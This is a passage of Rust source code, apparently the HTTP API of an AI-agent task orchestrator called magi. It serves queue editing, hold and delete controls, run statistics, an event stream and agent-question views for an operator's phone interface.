7252/// (see [`stats::filter_repo`]) - never resolved by name the way the CLI's
7253/// `--repo` is, because the value here always came from this same route's
7254/// own `repos` list in an earlier response, never typed by a human. A value
7255/// matching no run is a 404, not an empty aggregate: the caller asked for a
7256/// specific, named repository, and silently returning zeroes would look
7257/// exactly like a repository that has runs but none of interest.
7258#[derive(Debug, Default, Deserialize)]
7259#[serde(default)]
7260struct StatsQuery {
7261    repo: Option<String>,
7262    /// `?all=true` keeps agents that are no longer in the roster.
7263    all: bool,
7264    /// The dashboard fetches queue counts independently of run history.
7265    runs_only: bool,
7266}
7267
7268/// `GET /api/stats` - task and run statistics for the dashboard, aggregated
7269/// by [`stats::collect`] (or [`stats::collect_refs`] over one repository's
7270/// runs when `?repo=` narrows it), the same counting logic `magi stats`
7271/// prints from. Reads every readable run on disk, exactly as
7272/// [`runs_unreadable`] does, so the two counts can never drift apart the way
7273/// a separately-maintained tally could.
7274async fn stats_get(
7275    State(ui): State<Arc<Ui>>,
7276    Query(q): Query<StatsQuery>,
7277) -> ApiResult<Json<StatsView>> {
7278    blocking(move || {
7279        let states: Vec<RunState> = run_ids(&ui.runs)
7280            .into_iter()
7281            .filter_map(|id| read_run(&ui.runs, &id).ok())
7282            .collect();
7283        let repos: Vec<RepoSummaryView> = stats::by_repo(&states)
7284            .iter()
7285            .map(RepoSummaryView::from)
7286            .collect();
7287        let mut scoped: Vec<&RunState> = states.iter().collect();
7288        let mut collected = match &q.repo {
7289            Some(repo) => {
7290                let filtered = stats::filter_repo(&states, std::path::Path::new(repo));
7291                if filtered.is_empty() {
7292                    return Err(ApiError::not_found(format!(
7293                        "no runs recorded against repo `{repo}`"
7294                    )));
7295                }
7296                scoped = filtered.clone();
7297                stats::collect_refs(filtered)
7298            }
7299            None => stats::collect(&states),
7300        };
7301        if !q.all {
7302            let repo = q
7303                .repo
7304                .as_deref()
7305                .map_or_else(|| ui.repo.clone(), PathBuf::from);
7306            stats::retain_current_roster(&mut collected, &repo);
7307        }
7308        let daily = stats::daily(
7309            scoped,
7310            jiff::Zoned::now().date(),
7311            &jiff::tz::TimeZone::system(),
7312            STATS_DAILY_DAYS,
7313        );
7314        let queue_counts = (!q.runs_only)
7315            .then(|| TaskCountsView::from(crate::queue::TaskCounts::of(&ui.queue.list())));
7316        Ok(Json(StatsView {
7317            totals: StatsTotalsView::from(&collected.totals),
7318            agents: collected.agents.iter().map(AgentStatsView::from).collect(),
7319            reviewers: collected
7320                .reviewers
7321                .iter()
7322                .map(ReviewerStatsView::from)
7323                .collect(),
7324            advisors: collected
7325                .advisors
7326                .iter()
7327                .map(AdvisorStatsView::from)
7328                .collect(),
7329            e2e: E2eStatsView::from(&collected.e2e),
7330            release_bumps: ReleaseBumpStatsView::from(&collected.release_bumps),
7331            queue: queue_counts,
7332            runs_unreadable: runs_unreadable(&ui.runs),
7333            repos,
7334            daily: daily.iter().map(DailyStatsView::from).collect(),
7335            repo: q.repo.clone(),
7336            retired_hidden: collected.retired_hidden.clone(),
7337        }))
7338    })
7339    .await
7340}
7341
7342/// The body of `POST /api/queue/{id}/hold`, sent empty when the operator
7343/// gives no reason - which must keep working, since not every hold has one.
7344#[derive(Debug, Default, Deserialize)]
7345#[serde(default, deny_unknown_fields)]
7346struct HoldBody {
7347    reason: Option<String>,
7348}
7349
7350async fn queue_hold(
7351    State(ui): State<Arc<Ui>>,
7352    Path(id): Path<String>,
7353    body: std::result::Result<Json<HoldBody>, JsonRejection>,
7354) -> ApiResult<Json<TaskView>> {
7355    // An absent body is the ordinary case - most holds are unexplained, and
7356    // that has to stay a one-tap action rather than a form. A body that is
7357    // present and malformed is still a bad request.
7358    let body = match body {
7359        Ok(Json(body)) => body,
7360        Err(JsonRejection::MissingJsonContentType(_)) => HoldBody::default(),
7361        Err(e) => return Err(ApiError::bad_request(e.body_text())),
7362    };
7363    let reason = body.reason.filter(|r| !r.trim().is_empty());
7364    mutate(ui, id, move |t| {
7365        t.hold_manual(reason.clone());
7366        Ok(())
7367    })
7368    .await
7369}
7370
7371async fn queue_release(
7372    State(ui): State<Arc<Ui>>,
7373    Path(id): Path<String>,
7374) -> ApiResult<Json<TaskView>> {
7375    mutate(ui, id, |t| {
7376        t.release_operator("web", None);
7377        Ok(())
7378    })
7379    .await
7380}
7381
7382#[derive(Debug, Deserialize)]
7383#[serde(deny_unknown_fields)]
7384struct AttemptLimitBody {
7385    // Required even when clearing: missing fields must not silently erase an override.
7386    attempt_limit: serde_json::Value,
7387}
7388
7389async fn queue_attempt_limit(
7390    State(ui): State<Arc<Ui>>,
7391    Path(id): Path<String>,
7392    body: std::result::Result<Json<AttemptLimitBody>, JsonRejection>,
7393) -> ApiResult<Json<TaskView>> {
7394    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7395    let limit = serde_json::from_value::<Option<std::num::NonZeroUsize>>(body.attempt_limit)
7396        .map_err(|_| ApiError::bad_request("attempt_limit must be a positive integer or null"))?;
7397    mutate(ui, id, move |t| t.change_attempt_limit(limit)).await
7398}
7399
7400#[derive(Debug, Deserialize)]
7401#[serde(deny_unknown_fields)]
7402struct ImplementersBody {
7403    implementers: u8,
7404}
7405
7406async fn queue_implementers(
7407    State(ui): State<Arc<Ui>>,
7408    Path(id): Path<String>,
7409    body: std::result::Result<Json<ImplementersBody>, JsonRejection>,
7410) -> ApiResult<Json<TaskView>> {
7411    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7412    mutate(ui, id, move |t| t.change_implementers(body.implementers)).await
7413}
7414
7415#[derive(Debug, Deserialize)]
7416#[serde(deny_unknown_fields)]
7417struct UrgentBody {
7418    urgent: bool,
7419}
7420
7421async fn queue_urgent(
7422    State(ui): State<Arc<Ui>>,
7423    Path(id): Path<String>,
7424    body: std::result::Result<Json<UrgentBody>, JsonRejection>,
7425) -> ApiResult<Json<TaskView>> {
7426    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7427    mutate(ui, id, move |t| t.set_urgent(body.urgent)).await
7428}
7429
7430/// The body of `POST /api/queue/{id}/priority`.
7431#[derive(Debug, Deserialize)]
7432#[serde(deny_unknown_fields)]
7433struct PriorityBody {
7434    priority: i32,
7435}
7436
7437/// `POST /api/queue/{id}/priority` - the up/down control on the Queue card.
7438///
7439/// [`Task::set_priority`] is the one place the "not while running" rule is
7440/// stated; this route only carries the body to it and lets its `Err` become
7441/// the 4xx the card shows.
7442async fn queue_priority(
7443    State(ui): State<Arc<Ui>>,
7444    Path(id): Path<String>,
7445    body: std::result::Result<Json<PriorityBody>, JsonRejection>,
7446) -> ApiResult<Json<TaskView>> {
7447    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7448    mutate(ui, id, move |t| t.set_priority(body.priority)).await
7449}
7450
7451/// The body of `POST /api/queue/{id}/edit`.
7452#[derive(Debug, Deserialize)]
7453#[serde(deny_unknown_fields)]
7454struct EditBody {
7455    title: String,
7456    instruction: String,
7457    /// Save even though the new text names a branch, commit or pull request
7458    /// that unfinished work already owns.
7459    #[serde(default)]
7460    force: bool,
7461}
7462
7463/// `POST /api/queue/{id}/edit` - the full-text replacement the phone's edit
7464/// sheet sends. [`Task::edit`] refuses anything but `queued` and `held`, and
7465/// that refusal's message is what the sheet shows back.
7466async fn queue_edit(
7467    State(ui): State<Arc<Ui>>,
7468    Path(id): Path<String>,
7469    body: std::result::Result<Json<EditBody>, JsonRejection>,
7470) -> ApiResult<Json<TaskView>> {
7471    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
7472    // The judge is an agent call, so it is awaited here, outside the claim
7473    // `mutate` holds: a daemon must not be kept waiting on it. What it saw is
7474    // remembered, and the save refuses if the task moved underneath it.
7475    let mut judged: Option<(String, PathBuf)> = None;
7476    if !body.force {
7477        let (queue, runs) = (ui.queue.clone(), ui.runs.clone());
7478        let (id, text) = (id.clone(), body.instruction.clone());
7479        let (seen, hits) = blocking(move || {
7480            let id = resolve_task(&queue, &id)?;
7481            let t = queue.get(&id)?;
7482            if text == t.instruction {
7483                return Ok((None, Vec::new()));
7484            }
7485            let hits = crate::dupes::check(&queue, &runs, &t.repo, &text, None, Some(&t.id));
7486            Ok((Some((t.instruction, t.repo)), hits))
7487        })
7488        .await?;
7489        if let Some((_, repo)) = &seen {
7490            let cfg = crate::config::Config::discover(repo, None)
7491                .ok()
7492                .map(|(c, _)| c);
7493            let screened =
7494                crate::dupes::screen_with_config(hits, &body.instruction, None, repo, cfg.as_ref())
7495                    .await
7496                    .map_err(|dup| {
7497                        ApiError::conflict(dup.render(
7498                            "Nothing was saved. If it is not a duplicate, repeat the request \
7499                             with \"force\": true.",
7500                        ))
7501                    })?;
7502            if let crate::dupes::Screened::Unjudged(why) = screened {
7503                tracing::warn!(%why, "task edit saved without a duplicate-work judgement");
7504            }
7505        }
7506        judged = seen;
7507    }
7508    let force = body.force;
7509    mutate(ui, id, move |t| {
7510        if !force && body.instruction != t.instruction {
7511            match &judged {
7512                Some((instruction, repo)) if *instruction == t.instruction && *repo == t.repo => {}
7513                _ => {
7514                    anyhow::bail!("the task changed while it was being checked; repeat the request")
7515                }
7516            }
7517        }
7518        t.edit(body.title.clone(), body.instruction.clone())
7519    })
7520    .await
7521}
7522
7523/// `POST /api/queue/{id}/done` - close a task as finished without deleting
7524/// it, so the phone's other way to clear a task from the backlog does not
7525/// have to cost the run history, the attribution, and `created_at` the way
7526/// [`queue_delete`] does. Behaves exactly like `magi task done`: any status
7527/// can be marked done by hand, because this is for the run the loop never
7528/// saw land - a merge done by hand, or a gate that misreported - and that can
7529/// happen from any status the task was left in.
7530async fn queue_done(
7531    State(ui): State<Arc<Ui>>,
7532    Path(id): Path<String>,
7533) -> ApiResult<Json<TaskView>> {
7534    let home = ui.home.clone();
7535    mutate(ui, id, move |t| {
7536        t.succeed();
7537        // Same as the loop's own settle path: closing a task by hand is just
7538        // as much "this task's story is over" as a daemon-driven `Merged`/
7539        // `Ready` is, so any earlier `Blocked`/`Stalled` attempt it leaves
7540        // behind must stop looking like it still needs a human. `ui.home`,
7541        // not the process-global `run::home()`: they agree in a real
7542        // process, but only `ui.home` also agrees with a test fixture's own
7543        // directory.
7544        crate::daemon::supersede_prior_runs(t, &home);
7545        Ok(())
7546    })
7547    .await
7548}
7549
7550/// `DELETE /api/queue/{id}`.
7551///
7552/// Remove a task from the backlog. Refused only while a live daemon's heartbeat
7553/// names this task: a `running` status or an orphaned `.lock` left behind by a
7554/// killed daemon is a leftover, and treating either as authority made the
7555/// task undeletable from the phone for good. The associated runs, if any, are
7556/// kept: a run is self-contained history and not an appendage of the task.
7557async fn queue_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
7558    blocking(move || {
7559        let id = resolve_task(&ui.queue, &id)?;
7560        let in_flight = crate::daemon::is_working_on_task(&ui.home, &id, jiff::Timestamp::now());
7561        ui.queue
7562            .remove(&id, in_flight, &ui.questions)
7563            .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
7564        Ok(StatusCode::NO_CONTENT)
7565    })
7566    .await
7567}
7568
7569/// Read a task, change it, write it back, under the queue's own lock.
7570///
7571/// Taking the same claim a daemon takes is what makes hold, release,
7572/// priority, edit, and done safe to press while magi is running: without it
7573/// the daemon's next save would land on top of the operator's change and
7574/// undo it. `change` can refuse - [`Task::set_priority`] and [`Task::edit`]
7575/// both do, for a running task - and that refusal becomes the 4xx the card
7576/// shows, same as any other domain rule.
7577async fn mutate(
7578    ui: Arc<Ui>,
7579    id: String,
7580    change: impl FnOnce(&mut Task) -> Result<()> + Send + 'static,
7581) -> ApiResult<Json<TaskView>> {
7582    blocking(move || {
7583        let id = resolve_task(&ui.queue, &id)?;
7584        // `claim` fails when the lock file already exists, which is the
7585        // conflict the UI must report: the daemon owns that task's file for
7586        // as long as it is running it, and our write would be lost under its
7587        // next save. The message names the lock either way.
7588        let _claim = ui.queue.claim(&id).map_err(|e| {
7589            ApiError::conflict(format!(
7590                "{e:#} - a daemon is running this task, so it cannot be \
7591                 changed from here yet; wait until it is released, then retry"
7592            ))
7593        })?;
7594        let mut task = ui.queue.get(&id)?;
7595        change(&mut task).map_err(|e| match e.downcast::<crate::dupes::Duplicate>() {
7596            Ok(dup) => ApiError::conflict(dup.render(
7597                "Nothing was saved. If it is not a duplicate, repeat the request with \
7598                 \"force\": true.",
7599            )),
7600            Err(e) => ApiError::bad_request_from(e),
7601        })?;
7602        ui.queue.put(&mut task)?;
7603        Ok(Json(TaskView::from(task)))
7604    })
7605    .await
7606}
7607
7608/// The change stream: one revision number per store, on connect and whenever
7609/// any of them moves.
7610///
7611/// One shared worker scans stores; clients only forward its notifications.
7612async fn events(State(ui): State<Arc<Ui>>) -> impl IntoResponse {
7613    ui.monitor.ensure_worker(&ui);
7614    let mut broadcast_rx = ui.monitor.broadcaster.subscribe();
7615    let (tx, rx) = tokio::sync::mpsc::channel::<Event>(4);
7616
7617    let state = Arc::clone(&ui);
7618    tokio::spawn(async move {
7619        let initial_revisions = {
7620            let guard = match state.monitor.latest.lock() {
7621                Ok(g) => g,
7622                Err(p) => p.into_inner(),
7623            };
7624            guard.as_ref().map(|(r, _)| *r)
7625        };
7626        if let Some(revisions) = initial_revisions {
7627            let initial_payload = serde_json::json!({
7628                "queue_rev": revisions.0,
7629                "runs_rev": revisions.1,
7630                "questions_rev": revisions.2,
7631                "talks_rev": revisions.3,
7632                "notifications_rev": revisions.4,
7633                "loop_rev": revisions.5,
7634            });
7635
7636            if let Ok(event) = Event::default().event("change").json_data(initial_payload) {
7637                if tx.send(event).await.is_err() {
7638                    return;
7639                }
7640            }
7641        }
7642
7643        loop {
7644            match tokio::select! {
7645                _ = tx.closed() => return,
7646                value = broadcast_rx.recv() => value,
7647            } {
7648                Ok(notif) => {
7649                    let Ok(event) = Event::default().event("change").json_data(notif.payload)
7650                    else {
7651                        break;
7652                    };
7653                    if tx.send(event).await.is_err() {
7654                        break;
7655                    }
7656                }
7657                Err(tokio::sync::broadcast::error::RecvError::Lagged(_)) => {
7658                    let revs = {
7659                        let guard = match state.monitor.latest.lock() {
7660                            Ok(g) => g,
7661                            Err(p) => p.into_inner(),
7662                        };
7663                        guard.as_ref().map(|(r, _)| *r)
7664                    };
7665                    if let Some(revs) = revs {
7666                        let payload = serde_json::json!({
7667                            "queue_rev": revs.0,
7668                            "runs_rev": revs.1,
7669                            "questions_rev": revs.2,
7670                            "talks_rev": revs.3,
7671                            "notifications_rev": revs.4,
7672                            "loop_rev": revs.5,
7673                        });
7674                        if let Ok(event) = Event::default().event("change").json_data(payload) {
7675                            if tx.send(event).await.is_err() {
7676                                break;
7677                            }
7678                        }
7679                    }
7680                }
7681                Err(tokio::sync::broadcast::error::RecvError::Closed) => {
7682                    break;
7683                }
7684            }
7685        }
7686    });
7687
7688    Sse::new(ReceiverStream::new(rx).map(Ok::<Event, Infallible>))
7689        .keep_alive(KeepAlive::new().interval(KEEPALIVE))
7690}
7691
7692/// Run ids under `runs`, newest first.
7693///
7694/// Rooted at an explicit directory rather than calling [`run::list_ids`],
7695/// which reads the process-global home: the server has to be drivable against
7696/// a temp directory for any of this to be testable.
7697fn run_ids(runs: &FsPath) -> Vec<String> {
7698    let mut ids: Vec<String> = std::fs::read_dir(runs)
7699        .into_iter()
7700        .flatten()
7701        .flatten()
7702        .filter(|e| e.path().join("run.json").is_file())
7703        .map(|e| e.file_name().to_string_lossy().into_owned())
7704        .collect();
7705    // Ids start with a sortable timestamp.
7706    ids.sort_unstable_by(|a, b| b.cmp(a));
7707    ids
7708}
7709
7710/// Read one run's state from an explicit runs root.
7711fn read_run(runs: &FsPath, id: &str) -> Result<RunState> {
7712    let path = runs.join(id).join("run.json");
7713    let body =
7714        std::fs::read_to_string(&path).with_context(|| format!("read {}", path.display()))?;
7715    let state: RunState =
7716        serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
7717    // The same migration `RunState::load` applies, so a record from the
7718    // previous schema reads here as it does everywhere else (an origin-less
7719    // run shows as "origin unknown") instead of vanishing from the phone the
7720    // moment the schema is bumped.
7721    run::migrate_schema(state)
7722}
7723
7724/// Runs on disk under `runs` whose state this build cannot parse - almost
7725/// always a schema bump, occasionally a run killed mid-write.
7726///
7727/// Exposed so every surface that reports on runs shares one count instead of
7728/// each re-deriving it: `/api/health` reports it as `runs_unreadable`, and
7729/// `magi doctor` calls this directly rather than guessing at the same number
7730/// a second way.
7731#[must_use]
7732pub fn runs_unreadable(runs: &FsPath) -> usize {
7733    run_ids(runs)
7734        .into_iter()
7735        .filter(|id| read_run(runs, id).is_err())
7736        .count()
7737}
7738
7739fn plain_record_id(id: &str) -> bool {
7740    !id.is_empty() && id != "." && id != ".." && !id.contains(['/', '\\'])
7741}
7742
7743/// Expand an id or short id to exactly one run id.
7744fn resolve_run(runs: &FsPath, id: &str) -> ApiResult<String> {
7745    if plain_record_id(id) && runs.join(id).join("run.json").is_file() {
7746        return Ok(id.to_owned());
7747    }
7748    pick(run_ids(runs), id, "run")
7749}
7750
7751/// Expand an id or short id to exactly one task id.
7752fn resolve_task(queue: &Queue, id: &str) -> ApiResult<String> {
7753    if plain_record_id(id) && queue.path_of(id).is_file() {
7754        return Ok(id.to_owned());
7755    }
7756    let ids = crate::queue::record_ids(queue.root(), "json").unwrap_or_default();
7757    pick(ids, id, "task")
7758}
7759
7760/// A question as the phone reads it.
7761///
7762/// `detail`, the reasoning an agent wrote, is markdown; `detail_md` is that
7763/// text already parsed into a node tree so the client never runs its own
7764/// markdown reader over agent-authored prose. A relative image path in it
7765/// resolves against this question's own panel asset route, which is the one
7766/// place [`md::ImageBase::QuestionPanel`] is used - the panel iframe is a
7767/// separate, sandboxed document, but `detail` is rendered inline in the
7768/// operator's own page, so an image reference in it may only ever point at
7769/// files magi itself already serves for this question.
7770#[derive(Debug, Serialize)]
7771struct QuestionView {
7772    choice_effects: std::collections::BTreeMap<String, String>,
7773    record_revision: String,
7774    #[serde(flatten)]
7775    question: Question,
7776    detail_md: Vec<md::Node>,
7777    posting_view: Option<PostingView>,
7778    /// Each thread turn's body, parsed; same order as `question.thread`.
7779    thread_bodies_md: Vec<Vec<md::Node>>,
7780    /// Each thread turn's deputy note, parsed (`None` for a turn without
7781    /// one); same order as `question.thread`.
7782    thread_notes_md: Vec<Option<Vec<md::Node>>>,
7783    /// Is the ball in the agent's court right now?
7784    ///
7785    /// [`QuestionStatus`] stays `Open` for the whole of a round trip - see
7786    /// [`Question::say`] - so this is the one field that tells the phone to
7787    /// disable the answer controls and show "waiting for the agent" instead of
7788    /// a card the owner can act on. Computed rather than stored on
7789    /// [`Question`] itself, on the same reasoning as `waiting` on
7790    /// [`RunSummary`]: it is a read of `thread`'s own last entry, and keeping
7791    /// it here means the client never has to re-derive that rule.
7792    waiting_on_agent: bool,
7793    /// Who is waiting on this open question - see [`holder_of`]. Separate
7794    /// from `waiting_on_agent`, which is whose *turn* it is, not whether
7795    /// anyone is there to take it.
7796    holder: Option<&'static str>,
7797    /// Whether `magi serve` can start a follow-up agent for a conductor
7798    /// question at all: false when `daemon.max_deputies = 0` or the config is
7799    /// unreadable. Separate from `holder`, which says who is listening now.
7800    deputies_enabled: bool,
7801    /// All starts were spent and no live holder remains. Display-only: the
7802    /// final attempt increments `starts` before running under its lease.
7803    deputy_exhausted: bool,
7804    text_delivery: crate::question_delivery::Availability,
7805    /// `question.run` is a task id (conductor / triage questions), not a run
7806    /// id, so the UI links it to the task page.
7807    run_is_task: bool,
7808    /// The existing chat this question's task came from, including settled
7809    /// questions - see [`crate::consult::associated_talk`].
7810    origin_chat: Option<String>,
7811    /// `origin_chat` is closed; consulting reopens it first.
7812    origin_chat_closed: bool,
7813    /// Consultation eligibility is separate from navigation to the chat.
7814    can_consult_chat: bool,
7815}
7816
7817#[derive(Debug, Serialize)]
7818struct PostingView {
7819    before_md: Vec<md::Node>,
7820    after_md: Vec<md::Node>,
7821    fields: Vec<crate::github_text::ComparisonView>,
7822}
7823
7824fn posting_view(question: &Question, base: &md::ImageBase) -> Option<PostingView> {
7825    let comparison = question.posting_comparison.as_ref()?;
7826    if !comparison.matches_detail(&question.detail) {
7827        return None;
7828    }
7829    let mut ids = std::collections::BTreeSet::new();
7830    if comparison.fields.is_empty()
7831        || comparison
7832            .fields
7833            .iter()
7834            .flat_map(|f| &f.pairs)
7835            .any(|p| !ids.insert(p.id))
7836        || comparison
7837            .fields
7838            .iter()
7839            .flat_map(|f| &f.original_triggers)
7840            .any(|t| !ids.insert(t.id))
7841    {
7842        return None;
7843    }
7844    let fields = comparison
7845        .fields
7846        .iter()
7847        .map(|f| f.view(comparison.excerpt))
7848        .collect::<Option<Vec<_>>>()?;
7849    Some(PostingView {
7850        before_md: md::to_nodes(question.detail.get(..comparison.start)?, base),
7851        after_md: md::to_nodes(question.detail.get(comparison.end..)?, base),
7852        fields,
7853    })
7854}
7855
7856impl QuestionView {
7857    /// The view of `question`, reading who is waiting on it from `store`.
7858    ///
7859    /// `holder` needs the lease sidecar, which is why this is not a `From`.
7860    fn of(question: Question, store: &ask::Questions, cfg: Option<&Config>) -> Self {
7861        let base = md::ImageBase::QuestionPanel {
7862            id: question.id.clone(),
7863        };
7864        let holder = holder_of(&question, store.read_lease(&question.id).as_ref());
7865        Self {
7866            choice_effects: question
7867                .choices
7868                .iter()
7869                .filter_map(|c| {
7870                    crate::choice_effect::describe(&question, c).map(|effect| (c.clone(), effect))
7871                })
7872                .collect(),
7873            record_revision: question_record_revision(&question),
7874            detail_md: md::to_nodes(&question.detail, &base),
7875            posting_view: posting_view(&question, &base),
7876            thread_bodies_md: question
7877                .thread
7878                .iter()
7879                .map(|t| md::to_nodes(&t.body, &base))
7880                .collect(),
7881            thread_notes_md: question
7882                .thread
7883                .iter()
7884                .map(|t| t.note.as_deref().map(|n| md::to_nodes(n, &base)))
7885                .collect(),
7886            deputy_exhausted: store.deputy_exhausted(&question),
7887            waiting_on_agent: question.waiting_on_agent(),
7888            holder,
7889            deputies_enabled: deputies_enabled(cfg, &question),
7890            text_delivery: crate::question_delivery::availability(store, &question, cfg),
7891            run_is_task: question.run_names_task(),
7892            origin_chat: None,
7893            origin_chat_closed: false,
7894            can_consult_chat: false,
7895            question,
7896        }
7897    }
7898
7899    /// Fill `origin_chat` from the queue and the talks.
7900    fn with_origin(
7901        mut self,
7902        tasks: &[crate::queue::Task],
7903        talks: &[Talk],
7904        watches: &[crate::release_watch::WatchState],
7905    ) -> Self {
7906        let consult = crate::consult::origin_talk(tasks, talks, &self.question);
7907        self.can_consult_chat = consult.is_some();
7908        let talk =
7909            crate::consult::associated_talk_with_watches(tasks, talks, &self.question, watches);
7910        self.origin_chat_closed = talk.as_ref().is_some_and(|t| !t.status.open());
7911        self.origin_chat = talk.map(|t| t.id);
7912        self
7913    }
7914}
7915
7916/// The config this repository resolves, or `None` when it cannot be read.
7917/// Discovering is git processes plus a config render, so a request that needs
7918/// it for many items takes it once and passes it down.
7919fn deputy_config(repo: &std::path::Path) -> Option<Config> {
7920    Config::discover(repo, None).ok().map(|(c, _)| c)
7921}
7922
7923/// Can `magi serve` start a deputy for this question under `cfg`?
7924fn deputies_enabled(cfg: Option<&Config>, q: &Question) -> bool {
7925    crate::deputy::can_start(cfg, crate::deputy::agent_of(q))
7926}
7927
7928/// The views `GET /api/questions` answers. `load` runs at most once, however
7929/// many questions there are, and not at all when there are none.
7930fn question_views(
7931    qs: Vec<Question>,
7932    store: &ask::Questions,
7933    load: impl FnOnce() -> Option<Config>,
7934) -> Vec<QuestionView> {
7935    if qs.is_empty() {
7936        return Vec::new();
7937    }
7938    let cfg = load();
7939    qs.into_iter()
7940        .map(|q| QuestionView::of(q, store, cfg.as_ref()))
7941        .collect()
7942}
7943
7944/// Who is honestly waiting on an open question right now: `"asker"` (the
7945/// agent's own `magi ask`), `"deputy"` (the follow-up seat `magi serve` runs
7946/// for a conductor question), `"daemon"` (`magi serve` resuming the asking
7947/// seat's session), or `"nobody"` - the asker is gone and nothing has picked it
7948/// up, or the question never had anyone listening (a conductor question or a
7949/// merge approval from before deputies, or not yet given one).
7950///
7951/// `None` for a question that is settled, and for one that is not an agent's
7952/// to wait on at all (a release notice).
7953fn holder_of(q: &Question, lease: Option<&ask::Lease>) -> Option<&'static str> {
7954    if !q.status.open() {
7955        return None;
7956    }
7957    if q.cwd.is_none()
7958        && q.deputy.is_none()
7959        && lease.is_none_or(|l| !l.fresh(jiff::Timestamp::now()))
7960    {
7961        return crate::deputy::kind_of(q).map(|_| "nobody");
7962    }
7963    Some(match lease.filter(|l| l.fresh(jiff::Timestamp::now())) {
7964        Some(_) if q.deputy.is_some() => "deputy",
7965        Some(l) if l.kind == ask::WaiterKind::Daemon => "daemon",
7966        Some(_) => "asker",
7967        None => "nobody",
7968    })
7969}
7970
7971/// `GET /api/questions`.
7972///
7973/// Everything, not just the open ones: an answered question is the record of a
7974/// decision, and the phone is where the operator goes back to check what they
7975/// told an agent at 3am. `ask::Questions::list` already ranks open first.
7976async fn questions_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7977    blocking(move || {
7978        let questions = ui.questions.list();
7979        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
7980        Ok(Json(
7981            question_views(questions, &ui.questions, || deputy_config(&ui.repo))
7982                .into_iter()
7983                .map(|view| view.with_origin(&tasks, &talks, &watches))
7984                .collect(),
7985        ))
7986    })
7987    .await
7988}
7989
7990/// Question content and answer controls never wait for task/chat provenance.
7991async fn questions_core(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionView>>> {
7992    blocking(move || {
7993        Ok(Json(question_views(
7994            ui.questions.list(),
7995            &ui.questions,
7996            || deputy_config(&ui.repo),
7997        )))
7998    })
7999    .await
8000}
8001
8002fn question_record_revision(question: &Question) -> String {
8003    use std::hash::{Hash as _, Hasher as _};
8004    let mut hash = std::hash::DefaultHasher::new();
8005    serde_json::to_vec(question)
8006        .expect("serializable question")
8007        .hash(&mut hash);
8008    format!("{:016x}", hash.finish())
8009}
8010
8011#[derive(Serialize)]
8012struct QuestionOriginView {
8013    id: String,
8014    record_revision: String,
8015    origin_chat: Option<String>,
8016    origin_chat_closed: bool,
8017    can_consult_chat: bool,
8018}
8019
8020async fn question_origins(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<QuestionOriginView>>> {
8021    blocking(move || {
8022        let questions = ui.questions.list();
8023        let (tasks, talks, watches) = question_origin_inputs(&ui, &questions)?;
8024        Ok(Json(
8025            questions
8026                .into_iter()
8027                .map(|question| {
8028                    let consult = crate::consult::origin_talk(&tasks, &talks, &question);
8029                    let can_consult_chat = consult.is_some();
8030                    let talk = crate::consult::associated_talk_with_watches(
8031                        &tasks, &talks, &question, &watches,
8032                    );
8033                    QuestionOriginView {
8034                        record_revision: question_record_revision(&question),
8035                        id: question.id,
8036                        origin_chat_closed: talk.as_ref().is_some_and(|talk| !talk.status.open()),
8037                        origin_chat: talk.map(|talk| talk.id),
8038                        can_consult_chat,
8039                    }
8040                })
8041                .collect(),
8042        ))
8043    })
8044    .await
8045}
8046
8047type QuestionOriginInputs = (Vec<Task>, Vec<Talk>, Vec<crate::release_watch::WatchState>);
8048
8049/// Only the task ancestry and chats these questions actually reference. Run
8050/// mappings share the reconciled queue index; exact task references bypass it.
8051/// No question means no task/chat I/O, including no index reconciliation.
8052fn question_origin_inputs(ui: &Ui, questions: &[Question]) -> ApiResult<QuestionOriginInputs> {
8053    fn task_for_run(
8054        ui: &Ui,
8055        index: &mut Option<Vec<Arc<TaskRelation>>>,
8056        run: &str,
8057        loaded: &HashMap<String, Task>,
8058    ) -> ApiResult<Option<Task>> {
8059        if !plain_record_id(run) {
8060            return Ok(None);
8061        }
8062        if index.is_none() {
8063            *index = Some(ui.indexed_tasks()?);
8064        }
8065        Ok(index
8066            .as_ref()
8067            .expect("loaded index")
8068            .iter()
8069            .find(|task| task.runs.iter().any(|id| id == run))
8070            .and_then(|task| {
8071                loaded
8072                    .get(&task.id)
8073                    .cloned()
8074                    .or_else(|| ui.queue.get(&task.id).ok())
8075            })
8076            .filter(|task| task.runs.iter().any(|id| id == run)))
8077    }
8078    let direct_task = |id: &str, loaded: &HashMap<String, Task>| {
8079        plain_record_id(id)
8080            .then(|| loaded.get(id).cloned().or_else(|| ui.queue.get(id).ok()))
8081            .flatten()
8082            .filter(|task| task.id == id)
8083    };
8084    let watches = crate::release_watch::states_for_questions(&ui.home, questions);
8085    let mut index = None;
8086    let mut tasks = HashMap::new();
8087    let mut talks = HashMap::new();
8088    for question in questions {
8089        for reference in crate::consult::question_task_refs(question, &watches) {
8090            let mut current = match reference {
8091                crate::consult::QuestionTaskRef::Task(id) => direct_task(id, &tasks),
8092                crate::consult::QuestionTaskRef::Run(id) => {
8093                    task_for_run(ui, &mut index, id, &tasks)?
8094                }
8095            };
8096            let mut seen = HashSet::new();
8097            for _ in 0..=crate::followup::MAX_FOLLOWUP_GENERATION {
8098                let Some(task) = current.take() else {
8099                    break;
8100                };
8101                if !seen.insert(task.id.clone()) {
8102                    break;
8103                }
8104                let chat = task.chat_talk().map(str::to_owned);
8105                let followup = task.followup.clone();
8106                tasks.insert(task.id.clone(), task);
8107                if let Some(chat) = chat {
8108                    if plain_record_id(&chat)
8109                        && !talks.contains_key(&chat)
8110                        && let Ok(talk) = ui.talks.get(&chat)
8111                    {
8112                        talks.insert(chat, talk);
8113                    }
8114                    break;
8115                }
8116                let Some(followup) = followup else {
8117                    break;
8118                };
8119                current = match followup.origin_task {
8120                    Some(id) => direct_task(&id, &tasks),
8121                    None => task_for_run(ui, &mut index, &followup.run, &tasks)?,
8122                };
